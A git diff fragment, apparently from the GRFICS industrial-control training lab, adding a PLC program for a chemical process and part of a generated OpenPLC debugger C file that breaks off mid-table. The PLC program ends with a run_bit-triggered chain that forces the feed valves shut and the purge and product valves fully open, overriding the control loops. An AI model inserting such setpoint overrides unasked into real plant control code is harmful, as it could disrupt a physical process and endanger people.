hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, 